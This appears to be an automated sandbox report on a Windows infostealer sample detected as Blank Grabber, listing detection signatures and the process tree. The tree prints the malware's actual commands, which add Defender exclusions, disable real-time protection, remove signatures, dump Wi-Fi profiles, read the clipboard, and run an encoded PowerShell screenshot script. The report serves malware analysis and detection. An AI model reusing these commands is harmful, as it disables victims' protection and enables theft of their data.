Edit tour

Windows Analysis Report
X9g8L63QGs.exe

Overview

General Information

Sample name:	X9g8L63QGs.exe renamed because original name is a hash value
Original sample name:	006d680fdd592bcabb6ba965c61a82c2c97c1e30f5845984b5a5fb6b358316b4.exe
Analysis ID:	1584308
MD5:	17e85e39754db87356121c00e17d3096
SHA1:	ab01140ebc61d625989f842eb2db9bdc79c15444
SHA256:	006d680fdd592bcabb6ba965c61a82c2c97c1e30f5845984b5a5fb6b358316b4
Tags:	exeuser-zhuzhu0009
Infos:

Detection

Blank Grabber

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Yara detected Blank Grabber

Yara detected Telegram RAT

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

Check if machine is in data center or colocation facility

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Modifies Windows Defender protection settings

Modifies existing user documents (likely ransomware behavior)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Removes signatures from Windows Defender

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Sigma detected: Rar Usage with Password and Compression Level

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious Startup Folder Persistence

Suspicious powershell command line found

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses cmd line tools excessively to alter registry or file data

Uses netsh to modify the Windows network and firewall settings

Writes or reads registry keys via WMI

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Powershell Defender Exclusion

Sigma detected: SCR File Write Event

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Screensaver Binary File Creation

Sigma detected: Use Short Name Path in Command Line

Steals Internet Explorer cookies

Stores files to the Windows start menu directory

Too many similar processes found

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

X9g8L63QGs.exe (PID: 3396 cmdline: "C:\Users\user\Desktop\X9g8L63QGs.exe" MD5: 17E85E39754DB87356121C00E17D3096)

X9g8L63QGs.exe (PID: 3800 cmdline: "C:\Users\user\Desktop\X9g8L63QGs.exe" MD5: 17E85E39754DB87356121C00E17D3096)

cmd.exe (PID: 1476 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7268 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 1260 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7296 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 04029E121A0CFA5991749937DD22A1D9)

MpCmdRun.exe (PID: 1516 cmdline: "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All MD5: B3676839B2EE96983F9ED735CD044159)

cmd.exe (PID: 5568 cmdline: C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('please open roblox', 0, 'Roblox Process Not Found!', 0+16);close()"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 7276 cmdline: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('please open roblox', 0, 'Roblox Process Not Found!', 0+16);close()" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

cmd.exe (PID: 1240 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7332 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7176 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7340 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7628 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7692 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2 MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 7740 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7792 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2 MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 7824 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7876 cmdline: wmic path win32_VideoController get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8024 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 8088 cmdline: wmic path win32_VideoController get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8124 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8172 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7192 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7844 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7364 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7772 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7216 cmdline: C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7312 cmdline: WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 3540 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7392 cmdline: powershell Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7632 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7280 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 700 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 1196 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 1476 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 3620 cmdline: netsh wlan show profile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 7872 cmdline: C:\Windows\system32\cmd.exe /c "systeminfo" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 6836 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

cmd.exe (PID: 1504 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 2044 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 8028 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3920 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA= MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 5528 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 7256 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES5209.tmp" "c:\Users\user\AppData\Local\Temp\bexzy300\CSC6721B5F011FD4FBD8DF74B583831980.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

cmd.exe (PID: 7796 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7756 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 5940 cmdline: C:\Windows\system32\cmd.exe /c "getmac" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

getmac.exe (PID: 7392 cmdline: getmac MD5: 7D4B72DFF5B8E98DD1351A401E402C33)

